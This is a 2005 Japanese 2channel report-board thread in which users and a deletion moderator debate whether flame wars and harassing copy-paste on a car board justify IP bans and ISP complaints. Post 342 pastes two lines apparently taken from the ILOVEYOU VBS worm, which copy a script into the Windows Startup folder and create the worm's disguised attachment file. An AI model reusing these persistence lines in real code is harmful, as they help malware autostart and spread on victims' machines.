>>329 いじめられた方にも責任があるみたいな言い方は好きじゃあないな。
そして自分の気持ちは
>>322。
煽り続ける方も煽り返す方も住人や板にとって好ましくない。
332 :
名無しの報告:2005/08/29(月) 21:51:38 ID:VIlSiTSE0
ここらでカチン!!ときた例の人登場
333 :
◆I467cZgfaM :2005/08/29(月) 21:54:03 ID:0Fw9RUhoO
いや、いじめとかじゃなく喧嘩両成敗でしょ
すくつがコピペ始める前はスレは流れている訳だし
そこで、大岡裁きですよ
なんだかなぁ・・・。
>>327 今のところ削除屋さんからの報告は即規制、の方向なのですが
野次馬的にはどうかなと思うものもありました。
その想いがどこから来るのかというと、削除屋さんである方は
基本的にここの板では会話が成立しない事が多かったからです。
削除板関連では語質を取られない様に、色々な気苦労もあるのだろうと思いますが
意思の疎通が出来ない方が多いのです。
sakujyoya ★さんのように率直に話していただけると
よくわからない報告ではなくて、なんとか出来ないか、という話しにもなるかもしれません。
337 :
名無しの報告:2005/08/29(月) 22:04:05 ID:0Fw9RUhoO
すくつ、ナイソ、削除人の3方一両損はいいね。
アンチトヨタスレの大量スレストの件があるしね
( ̄ー ̄)ニヤリッ
>>333 あい。自分もそのつもり。で、喧嘩両成敗で今まで放置してきた訳ですが。
339 :
名無しの報告:2005/08/29(月) 22:09:20 ID:S+UCzu/W0
そもそも煽り合いって消すべきものなのかな?
スレで煽らないでください。止めてください。とISP使って警告するようなものなのかな?と名無しの野次馬は思いますが。
>>337 削除に問題があるならおいらの1方損でも文句はないっすよ。
>>339 煽り合いってより
コピペ対ユーザー批判という訳の分からん図式になっていると思いまス。
342 :
[―{}@{}@{}-] 221x249x253x174.ap221.ftth.ucom.ne.jp:2005/08/29(月) 22:28:19 ID:mGdn9JQm0
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs
名前の件は申し訳ありません。
ただ私はあくまでたんなる野次馬ですので。
>330
規制(ISP報告、焼き、その他も含めて)は、ある行為に対して
行われるものです。レス番を指定せずに、このIPは荒らしですといわれても
どの行動を指してそのように判断されたかは、こちらには一向に分からない
訳で、>280他にて確認させていただきました。
手順にはそれ相応の意味があります。
分からない=無視してもかまわない、という訳ではないです。
規制ってのは公開で、さまざまな立場のヒトが見るわけで、
誰が見ても分かる、説得できる状態である必要があるわけです。(たとえ焼きでも)
> 2ch的な力(規制等)ではなくISPからの注意を求めることがとりあえずの主題です
該当のIPからは、現在書けない状態になっております。固定IPのピンポイント規制
は永久規制であり、基本的に誰かが動かない限り解除はありません。
どのような処理が行われるかはケース毎にあらかじめ決まっており(時々変則的に動くですが、)
報告者側が求めるようには動くわけではありません。
ここにあるのはどういう問題であり、どのように解決しようと考えられたのでしょ。
とISPへの警告、という点を強調されるので思ってしまいました。
ここは"場"であり、"場"そのものを破壊しようとするヒト(行為)は規制で対処する
必要があるかもですが、
> 批判的意見などではなく住人煽りを続けることを問題視してます。
が、とても場を破壊しようとする行為には(私には)見えないわけです。
このような状態は(残念ながら)どこにでもありふれており、規制でなんとかする
(できる)話ではなく、住民さんの自助努力でなんとか対処していくしかないんじゃ
ないでしょうか?なんとかできないならそれも、その場を利用する方の選択ということで。
(もし一部の方の行動のために、他の大勢が迷惑ということでも、避難・住み分けなど
あがく余地はあるんですし。)
344 :
名無しの報告:2005/08/29(月) 22:45:28 ID:S+UCzu/W0
>>341 コピペは削除GL6で、ユーザー批判ってのは4か5ですよね…
今まで何年も見てきたsakujoyaさんが消してもきりが無いと判断されたのならそうなんでしょうね。
もう1度レス番号指定して報告してもらった方がいいと思いますが。
>>343読んで思い出したんですけど、
この報告形式になった時に報告を削除人さんからしてもらうという話になったんです。
その時に削除人さんの誰かが「煽りが問題?そういうものもあるのが2chだったでしょ」みたいな事書いてたんですよね。
ログ消しちゃったから正確には覚えていないんですけど「そうだな」と納得した覚えがあります。
後半はチラシの裏向けですね。スマンす。
345 :
名無しの報告:2005/08/29(月) 22:50:30 ID:0Fw9RUhoO
煽りは兎も角
アンチあっての2ちゃん
一方のみ規制は戦時中みたいだでなぁ
>>343 >規制
おっしゃることわかります。
自分も最初から手順を無視しようとしてた訳じゃないことはわかっていただけたかと。
>場
それぞれのスレがあつまって場を形成しているという考えは一致していると思いますが。
(車メ板の場合)特定の車種のユーザーが、まともに話の出来ない状態が続いていることは
場にとっても良くないことだと考えます。
過去に住人でスレを住み分けしようと努力してきた様も見てきたから今回の報告に至りました。
なにぶん長年にわたることであり、ここにその問題がありますと端的に表しにくいことで
ご迷惑をおかけしました。
まずISPから当人への注意、それで駄目なら改めて規制依頼を、と思っていたのですが
処理が決まっているのであれば致し方ないと思います。
自助努力でなんとかなるレベルとそうでないものってあると思いますよ。
ある程度の煽り合いは2chの華というのは同意です
>>344
>>346 すくつなる方のコピペが続くようなら対処しますです。
さて、0Fw9RUhoOを見てるとまだ終わった訳じゃなさそーですねぃ。
どうなることやら。
>>348 失礼しました。
350 :
名無しの報告:2005/08/29(月) 23:35:21 ID:0Eb6DRZh0
sakujyoya ★さんに別件で質問ですが
うちの板に処理に来て欲しい板があるんですが(巡回板に加えて欲しいんですが)
可能でしょうか?
>>346 > なにぶん長年にわたることであり、ここにその問題がありますと端的に表しにくいことで
> ご迷惑をおかけしました。
そこを、住人(当事者)ではない人が見ても
「規制で対処するしかない」問題だとわかるように示さなきゃダメでしょ。
当該スレ・板ではなくとも2chの住人さえ首肯できないようでは
ISPは何が・どうして問題なのか理解できずに困るでしょう。
問題を見つけるときは当事者の視点でも良いかもしれない
(し、むしろ利点もあるかもしれない)けど、
削除や規制の対象とするときには、客観視点でなきゃ。
いっそ削除人専用スレを廃止するってのはどうかね。
353 :
名無しの報告:2005/08/30(火) 06:15:04 ID:2pzlXg5y0
というか削除人の方は、この板の空気とか報告の仕方とか
何で規制するのか、どうやって規制するのかとかもう少し理解してから報告してください、、
放浪人さんもそうなんだけど、何か理解度が
普通に報告してる名無し以下の人が多い感じなので、、
354 :
名無しの報告:2005/08/30(火) 06:54:51 ID:H+Z1PJCT0
ISP報告を考えないなら適当でいいけど、
ISP報告を考慮するなら今の運用方法は結構限界が来てるね。
355 :
名無しの報告:2005/08/30(火) 10:42:25 ID:feDM5YoJ0
一部の変な報告をしてしまった人を捉えて、
全部駄目だというのはどうかと思いますけど。
やり方や方法を周知徹底すればいいだけでしょ。
356 :
名無しの報告:2005/08/30(火) 12:08:02 ID:OVq9t+MTO
>コピペvsユーザー批判
規制されたのはどっちなんでしょ?
357 :
名無しの報告:2005/08/30(火) 12:47:16 ID:0S6lZnbtO
ユーザーを指摘した方が規制
コピペ中傷のユーザーは未だ規制されず
(・3・) エェー 名前欄を無視すれば荒らし対策相談所向けですかNE
359 :
名無しの報告:2005/08/30(火) 15:54:47 ID:jH6ykz4c0
個人的には、削除人は規制に無知でいてほしいと思うなぁ
360 :
名無しの報告:2005/08/30(火) 16:50:25 ID:RBqAHzet0
361 :
名無しの報告:2005/08/30(火) 19:14:55 ID:0S6lZnbtO
喧嘩中に片方規制した場合は今後の粘着中傷コピペは誰が削除依頼するんだろうね
板を変えても追って来て
3年以上も前のスレからコピペネタ探すイプサム乗りのすくつならなおさら心配
現在どこにコピペがいるのか誘導キボン
363 :
名無しの報告:2005/08/30(火) 21:04:00 ID:0S6lZnbtO
アンチが規制されてからイプサムスレは書き込みが1レスも無い件について
364 :
名無しの報告:2005/08/30(火) 21:24:19 ID:0S6lZnbtO
アンチが住人のスレ進行を妨げていたのか?
住人が逆ギレして粘着中傷コピペをしてるようにしかみえない。
イプサムスレが荒れたのは2年くらい前に中傷コピペをする人が現れてから
それまではアンチがいても他のスレと同様にそれなりにスレは進行してる
すくつとやらのコピペは3年くらい前のカメラ板のもの
つまりずっと中傷コピペしてる
当初は削除依頼もされていたが削除人はスルー
個人の本名やドメイン取得時の住所までもスルーされている
こういうすくつに仕返しする手段としてすくつの乗るイプサムをねに持った
365 :
名無しの報告:2005/08/30(火) 21:26:44 ID:0S6lZnbtO
つまり削除人に落ち度はありまくり
議論は他のスレで、と誘導したつもりなんだけどなぁ。
367 :
名無しの報告:2005/08/30(火) 22:36:02 ID:fD9+9lMI0
移行の終わったスレの数KBに随分と神経質な書き込みですな。
次スレで行われてるなら理解もできるが。
このスレが書き込めなくなったら、どこへ移動するのか
早めに相談した方がいいと思いますよ。
369 :
名無しの報告:2005/08/30(火) 22:45:51 ID:fD9+9lMI0
当人たちじゃないんで断言はできないが少なくとも次スレにはいかんだろ。
気にしなくていいんじゃねーの?
370 :
名無しの報告:2005/08/30(火) 22:49:59 ID:K8wLuPxG0
こんなの規制するならあおりのひどいほかの場所も規制しろといわれんばかり。
371 :
名無しの報告:2005/08/30(火) 22:50:04 ID:0S6lZnbtO
つまりこのスレにずっといた住人には、ボクらの議論もアンチでスレの進行妨げている訳で
規制対象ですな
372 :
名無しの報告:2005/08/30(火) 23:20:45 ID:Z3O9IdO30
自覚してたのか。
373 :
名無しの報告:2005/08/30(火) 23:21:46 ID:aSM/r3HG0
496 KB
374 :
名無しの報告:2005/08/30(火) 23:31:39 ID:iXlXUw7I0
375 :
名無しの報告:2005/08/30(火) 23:51:49 ID:O4DUXmIq0
でもまだ書けるんでしょ?
376 :
名無しの報告:2005/08/31(水) 00:06:02 ID:h2/JOR+j0
||||||
||||| ∠ ̄ ̄\ |
∋oノハヽo∈ 〜|/´D`|/
(´D` ) スタッ / y⊂)
/ y(⌒ヽ\ U〉 ⌒l
し( (__)し /(__ノ ~U、、スタッ
ののたん 太った?
378 :
名無しの報告:2005/08/31(水) 22:23:59 ID:bZBtmVcMO
イプサムスレは再開ショッパナから中傷書き込みか
379 :
名無しの報告:2005/09/04(日) 03:15:56 ID:/4EUwMGJ0